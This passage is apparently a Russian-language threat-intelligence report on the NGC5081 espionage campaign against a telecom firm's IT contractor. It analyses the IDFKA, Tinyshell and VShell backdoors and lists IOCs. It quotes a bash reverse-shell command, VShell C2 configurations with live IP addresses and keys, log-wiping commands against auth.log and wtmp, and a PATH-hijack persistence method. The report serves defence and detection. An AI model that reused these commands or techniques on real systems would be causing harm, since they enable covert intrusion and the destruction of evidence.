В конце мая 2025 года эксперты Solar 4RAYS подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения Solar JSOC о выполнении bash-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры. Поиск источника активности привел нас к подрядчику этой организации — IT-компании, которая администрировала эту базу данных. В сети подрядчика мы обнаружили минимум две группировки атакующих, одна из которых (мы назвали ее NGC5081) использовала ранее неизвестный бэкдор на языке Rust, который мы назвали IDFKA.

С помощью этого бэкдора атакующие в течение 10 месяцев сохраняли доступ к IT-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов, где хранилась информация об абонентах и метаинформация об их звонках. Однако свидетельств, что какие-либо из этих данных были похищены, мы не обнаружили. Хотя поведение группировки указывает, что целью атаки являлся шпионаж, остается неизвестным, что именно атакующие искали в инфраструктуре организаций.

Ключевые тезисы:

  • Атакующие находились в сети подрядчика не менее 10 месяцев и проникали в инфраструктуру клиентов, используя легитимный доступ к БД PostgreSQL.
  • Атакующие использовали стандартный Tinyshell и оригинальный бэкдор IDFKA на Rust для заражения Linux-систем.
  • Атакующие мимикрировали под процессы и установленное легитимное ПО в системах, а также под подрядчиков жертвы в С2.
  • Атакующие удаляли следы своей активности в системах и вручную подменяли артефакты.
  • Основная нагрузка бэкдора IDFKA зашифрована, для расшифровки используется переменная окружения, алгоритм шифрования AES-ECB и генерация промежуточных ключей в процессе.
  • Функциональность бэкдора IDFKA:
    • reverse shell;
    • модуль сканирования портов portscan, определение основных сервисов;
    • брутфорс SSH;
    • модуль password capture, реализуемый с помощью ptrace / eBPF;
    • разнообразие каналов C2. Режимы работы TCP/UDP, ICMP (raw/libpcap), HTTP, FutureProtocol (protocol=204), magictcp, port-knock, spooftcp;
    • Signaling Files. Возможность управления через специальные файлы.
  • Мы выявили паттерн взаимодействия IDFKA с управляющими серверами, который позволил обнаружить ранее неизвестные управляющие серверы.
  • Конфигурация в бэкдоре может храниться в произвольном месте файла, найти ее можно по 16-байтовой сигнатуре, удовлетворяющей определенным условиям.
  • Данных, позволяющих атрибутировать кампанию какой-либо из известных группировок, пока недостаточно, поэтому ей присвоено обозначение NGC5081.

Описание инцидента

В этом инциденте нам удалось обнаружить множественную компрометацию подрядчика — компании в сфере ИТ-услуг — и провести расследование у двух ее клиентов. Для удобства восприятия информации цепочка заражения будет изложена в хронологической последовательности начиная с компрометации подрядчика. Общий таймлайн атаки представлен на рисунке ниже.

Общий таймлайн атаки
Общий таймлайн атаки

IDFKA

Наиболее ранний обнаруженный нами образец IDFKA был размещен в инфраструктуре подрядчика в ноябре 2024 года. Все сэмплы были написаны на языке Rust и располагались в стандартных директориях исполняемых файлов для Linux. Атакующие не закрепляли бэкдор — это было возможно благодаря тому, что системы не перезагружались несколько лет. В некоторых системах мы обнаружили только незапущенные файлы IDFKA. Почти все сэмплы имели уникальные названия и параметры запуска процесса.

Командная строка

Файл

php-fqm: pool zabbix

/usr/sbin/php-fqm:

postgres: reader process

/usr/sbin/postgres:

nginx: worker process

/usr/sbin/ntpqd

/usr/sbin/nginx:

irgbalance --foreground

/usr/sbin/irgbalance

-

/usr/sbin/readname

-

/usr/sbin/hald-worker

-

/usr/sbin/.irgbalance

В переменных окружения аномальных процессов — тогда мы еще не знали, что это за вредонос, — мы обнаружили интересные параметры.

  • TRM64CFG=R:9o,Bgk:1l,Cd:5 — кастомная переменная, которая использовалась для расшифровки импланта. Имела одно значение на всех скомпрометированных системах.
  • HISTFILE=0 — переменная, устанавливающая размер bash_history в 0. Используется для скрытия команд.
  • PSQL_HISTORY=/dev/null — переменная, исключающая логирование запросов в консоли psql.
  • PWD — текущая директория процесса. Если это переменная содержит заведомо подозрительный путь, например /tmp, /var/www или /dev/shm, возможно, процесс вредоносный.
  • OLDPWD — предыдущая рабочая директория, из которой был запущен процесс.
  • SUDO_USER — пользователь, запустивший процесс через команду sudo. В текущем инциденте это был пользователь postgres, обладавший излишними правами.
  • SSH_CONNECTION — переменная, содержащая адрес SSH-клиента, порт SSH-клиента, IP-адрес сервера (текущей системы), порт SSH-службы сервера.
  • SSH_CLIENT — переменная, содержащая исторический адрес SSH-клиента и порт SSH-клиента.
  • _= — переменная, указывающая на полный путь первой команды при запуске процесса. Если исполняемый файл был запущен непосредственно, в переменной будет находиться полный путь к самому файлу. Если файл был запущен через лаунчер, nohup или screen, в переменной будет путь к лаунчеру.

Отметим, что указанные переменные окружения, помимо специфической для импланта переменной TRM64CFG, можно использовать для детектирования возможной вредоносной активности.

В исследованных нами системах логи к моменту расследования частично ротировались, а там, где имелись за указанный период, не содержали значимых данных. Журналы wtmp и lastlog также были модифицированы атакующими, которые удалили оттуда источники своих входов. Однако из переменных SSH_CLIENT и SSH_CONNECTION мы смогли получить IP-адреса клиентов, которые подключались к зараженным системам, благодаря чему мы расширили перечень приоритетных систем для анализа. Адреса клиентов во всех случаях принадлежали другим внутренним системам. В полученных системах мы также нашли бэкдор IDFKA с переменными окружения SSH_CLIENT и SSH_CONNECTION. В результате у нас получилось восстановить цепочку подключений и частично восстановить последовательность заражения систем. В нашем случае переменные указывали на исторические SSH-подключения.

Также в ноябре 2024 года, через несколько дней после размещения IDFKA у подрядчика, атакующие скомпрометировали PostgreSQL-кластер клиента подрядчика — компанию А, оказывающую услуги в сфере телекоммуникаций. Установить дату компрометации удалось посредством нахождения команды реверс-шелла в файлах бэкапа PostgreSQL.

    
o-rw-r--r-- 1 postgres postgres 56 Nov XX 16:44 /tmp/.g
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.XXX.XX.XX/5439 0>&1"
!hostname-db1
    

IP-адрес из реверс-шелла принадлежал внутренней системе подрядчика.

Tinyshell

Помимо IDFKA, мы обнаружили в системах бэкдор Tinyshell. Несмотря на то, что в инфраструктуре подрядчика мы обнаружили следы деятельности еще одной группировки (о которой расскажем позже), мы относим эти два бэкдора к активности NGC5081, потому что один сэмпл TinyShell и один сэмпл IDFKA использовали один и тот же C2.

В нескольких системах Tinyshell был добавлен атакующими в скрипт системы инициализации SysVinit /etc/rc.d/rc.local. Данный файл используется для запуска служб, демонов и других команд, которые не имеют собственных скриптов в каталоге /etc/init.d.

В одной из систем подрядчика закрепление было выполнено более скрытно. В марте 2025 года атакующие скомпрометировали систему, в которой было установлено ПО GitLab с домашней директорией /opt/gitlab/.

Вредоносный файл был размещен по пути /opt/gitlab/bin/gitlab-kas с закреплением через легитимный скрипт /opt/gitlab/embedded/bin/runsvdir-start. При этом в дистрибутиве GitLab имеется легитимный файл с тем же именем, но по пути /opt/gitlab/embedded/bin/gitlab-kas. Атакующие добавили в середину скрипта runsvdir-start запуск файла только по его имени gitlab-kas. При этом в скрипте была переопределена переменная PATH со значением PATH=/opt/gitlab/bin:/opt/gitlab/embedded/bin:/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin, где директория /opt/gitlab/bin/ более приоритетна, чем /opt/gitlab/embedded/bin/, в результате чего при старте сервиса GitLab запускался вредоносный файл вместо легитимного.

В апреле 2025 года атакующие получили доступ к кластеру PostgreSQL компании Б с учетными данными postgres. Атакующие проверяли доступ к внешним и внутренним ресурсам, загружали вредоносные файлы и пытались их запускать, при этом удаляли файлы после своей работы, не создавая закреплений. Один из загруженных файлов был детектирован антивирусом. Так удалось установить, что это также бэкдор Tinyshell. В качестве C2-бэкдора использовался домен, мимикрирующий под провайдера компании Б, а поддоменом выступало название сегмента сети, в котором находился кластер БД.

VShell

В части систем подрядчика, наряду с Tinyshell, мы обнаружили подозрительные процессы, которые мимикрировали под потоки ядра. Во всех исследованных системах название процесса [kworker/0:2] было одинаковым, и он был запущен из файла /memfd:a. У вредоносных процессов существовали дочерние процессы шеллов, в том числе из файлов /tmp/bash, где файл являлся копией легитимного /bin/bash.

Ниже представлено дерево процессов VShell с одной из систем.

    
root 	1254164  0.0  0.0 718416 10888 ?    	Sl   Apr08  37:56 [kworker/0:2]
root 	2528649  0.0  0.0  16312 	8 pts/2	Ss+  Apr09   0:00  \_ /tmp/bash
root  	240469  0.0  0.0  16312   236 pts/0	Ss+  Apr09   0:00  \_ /tmp/bash
root  	649643  0.0  0.0  16312   164 pts/1	Ss   Apr15   0:00  \_ /bin/bash
root  	649704  0.0  0.0  45880	40 pts/1	S+   Apr15   0:00  	\_ ssh user@172.XX.XX.XX
root  	636030  0.0  0.0 717904  9380 ?    	Sl   Jun08   2:51 [kworker/0:2]
    

По артефактам мы обнаружили статью об азиатской группировке UNC5174, которую мы называем Snowy Mogwai. Она использовала VShell с такой же мимикрией, какую мы видели в нашем расследовании. Отметим, что первоначальный доступ группировка получает в результате атак на публично доступные сервисы.

Процессы VShell содержали значимые переменные окружения:

  • SSH_CLIENT, SSH_CONNECTION — IP-адреса SSH-клиентов. В нашем случае эти подключения были завершены на момент исследования.
  • HISTFILE — путь /tmp/.del для всех процессов VShell, при этом файл по такому пути отсутствовал в системах.
  • CWD — кастомная переменная загрузчика SNOWLIGHT, содержащая путь к вредоносному файлу.

Загрузчик SNOWLIGHT загружает VShell с С2, устанавливает переменную окружения CWD и запускает файл через fexecve с отображаемыми параметрами запуска "[kworker/0:2]". Обнаруженные нами загрузчики располагались по следующим путям:

  • /usr/bin/c8ecb103tcp
  • /usr/bin/b6271952tcp
  • /usr/bin/cdd407ebtcp
  • /usr/bin/f15102d2tcp
  • /tmp/f15102d2tcp
  • /tmp/PGSQL1
  • /tmp/tt/t
  • /home/[redacted]/rdl
  • /tmp/.ICE-unix/ivr

Из сэмплов мы извлекли следующие уникальные конфигурации:

    
{
"server": "45.67.230[.]39:8888",
"type": "tcp",
"vkey": "qwe123qweasdasf",
"proxy": "",
"salt": "qwe123qwesfgasdd",
"l": false,
"e": false,
"d": 30,
"h": 10
}

{
"server": "45.144.31[.]54:60998",
"type": "tcp",
"vkey": "wrnmsbjappan",
"proxy": "",
"salt": "wrnmsbjappan",
"l": false,
"e": false,
"d": 30,
"h": 10
}

{
"server": "94.131.121[.]10:10250",
"type": "tcp",
"vkey": "<redacted>",
"proxy": "",
"salt": "<redacted>",
"l": false,
"e": false,
"d": 30,
"h": 10
}

{
"server": "0.0.0.0:10052",
"type": "tcp",
"vkey": "<redacted>",
"proxy": "",
"salt": "<redacted>",
"l": true,
"e": false,
"d": 30,
"h": 10
}

{
"server": "0.0.0.0:2379",
"type": "tcp",
"vkey": "<redacted>",
"proxy": "",
"salt": "<redacted>",
"l": true,
"e": false,
"d": 30,
"h": 10
}
    

В истории команд различных учетных записей и в логах различного ПО мы обнаружили следы загрузки файлов с внешних IP-адресов по пути /slt. Загрузка скрипта установки бэкдора при обращении к этому эндпоинту описана в другой статье о VShell.

Все артефакты, связанные с бэкдором VShell, были созданы не ранее апреля 2025 года.

Аномалии артефактов

В некоторых исследованных системах мы не нашли вредоносных файлов, но нашли аномалии, свидетельствующие об исторической вредоносной активности. Атакующие оставили в директории /tmp копию файла /var/log/wtmp, сделанную в период вредоносной активности в ноябре 2024 года, а также бэкапы known_hosts отдельных учетных записей. Кроме того, в файле known_hosts мы видели несколько отпечатков SSH для одного IP-адреса, что может свидетельствовать об использовании SSH-туннелей.

В артефакте .viminfo мы нашли исходные команды атакующих:

    
sed -i \"/165.231.141.126/d\" /var/log/auth.log
lastlog -C -u root
utmpdump /var/log/wtmp | grep -v root | utmpdump -r > /tmp/.f
mv /tmp/.f /var/log/wtmp
lastlog
    

Атакующие удалили строки со своим внешним IP-адресом из auth.log, удалили адрес последнего входа root из lastlog, получили строки wtmp, где нет строки root, и перезаписали содержимое /var/log/wtmp. Заметим, в событиях завершения сессии не содержится строки с названием учетной записи, поэтому они ост